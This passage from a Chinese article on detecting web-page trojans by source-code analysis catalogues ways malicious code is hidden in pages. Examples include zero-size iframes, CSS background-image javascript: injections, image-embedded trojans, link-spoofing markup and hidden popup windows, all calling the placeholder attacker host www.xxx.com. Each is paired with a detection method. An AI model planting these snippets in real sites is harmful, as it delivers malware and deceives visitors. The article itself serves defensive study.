基于源代码分析的Web恶意代码探测方法(3)
发布时间:2010-03-22 10:23
作者:Ю. И. ВОРОТНИЦКИЙ
来源:计算机与信息技术
点击:加载中...次
还可以根据情况识别下面的代码是否存在恶意指向木马网站的代码:
<div style="behaviour: url(http://www.xxx.com /木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">
通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意代码的JS挂马文件,因此可以从 这里入手进行识别。提取一切Src请求的异地外域的JS脚本,识别恶意代码。
3.2.3 图片伪装挂马
随着防毒技术的发展,黑客手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似: http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只 需输入相关的选项就可以了,如图3。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:
<html>
<iframe src="http://www.xxx.com/test.htm" height=0 width=0></iframe>
<img src="http://www.xxx.com/test.jpg"></center>
</html>
3.2.4 网络诱惑挂马
网络中最常见的欺骗手段,利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,引诱点击,当用户打开一个 看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了 一个获取QQ币的页面,引诱输入QQ号和密码,等用户输入完提交后,就把这些信息发送到攻击者指定的地方。这种挂马可以通过识别信息传输的地址来识别是否为官方合法。这种方法很难通过源码来识别此页面是否为木马,需要用户自行判断进行配合。
3.2.5 伪装挂马
黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com等用户信任地址,其实却打开了被挂马的页面,从而实现欺骗,示例代码如:
<p><a id="qipian" href=" http://www.xxx.com "></a></p>
<div>
<a href="http:// www.sina.com" target="_blank">
>
<caption>
<label for="qipian">
<u style="cursor;pointer;color;blue">
www.sina.com
</u>
</label>
</caption>
</table>
</a>
</div>
上面的代码的效果,在貌似http:// www.sina.com的链接点击却打开了http://www.xxx.com。
3.2.6 伪装调用
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="http://www.xxx.com" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
3.2.7 诱惑欺骗
这种欺骗,通常利用热点新闻,或者人们感兴趣的花边消息,源码示例如下:
<a href="
http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url=" http://www.xxx.com";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
这种欺骗手段,同样可以寻找真实的地址来识别。
3.2.8 高级CSS挂马
“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合JavaScript的代码将网页木马悄悄的在用户的电脑中运行,源码示例如下:
Body{
background-image: url('javascript:document.write("<Iframe src= http://www.xxx.com /muma.htm width=0 height=0></iframe>")')
}
针对这段代码,可以根据调用的CSS文件。找到挂马网页中调用CSS的代码:
<link type="text/css" rel="stylesheet" href="http://www.xxx.com/ /css/basic.css" media="screen" />
找到该段代码后,即可识别出真正的木马地址。
3.2.9 隐蔽css挂马
在3.2.8中的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过这段代码,使用了 JavaScript的Open开窗,通过新开打开一个隐藏的窗口,在后台悄悄的运行新窗口并激活访问网页溢出木马页面,不会影响访问者的观看网页内容,因此更加隐蔽,示例如下:
Body{
background-image: url(javascript:open(' http://www.xxx.com /muma.htm ','newwindow','height=0,width=0,top=1000,left=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no'))
}
4 结论
根据上面的分析,针对源码的敏感位置进行分析匹配,识别可能出现的网页中的木马原代码和转移语句。目前很少有黑客将木马原代码直接写在网页上,因为这样很容易被发现。绝大多数都是通过转移语句,将网民转移到木马网站中,或者远程调用木马网站中的木马文件,从而实现将木马植入用户计算机,达到黑客的目的。因此,识别转移语句和远程调用既可以识别出可疑点,在进一步追查即可识别出木马的真正匿身之地了。
参考文献
收稿日期:11 月 5 日 修改日期:11 月 9 日
作者简介:Ю. И. ВОРОТНИЦКИЙ(1961-),白俄罗斯国立大学信息中心主任,副教授,主要研究领域为网络安全;谢金宝(1980-),男,哈尔滨人,博士研究生,讲师,主要研究领域为网络安全,信息安全。
(责任编辑:adminadmin2008)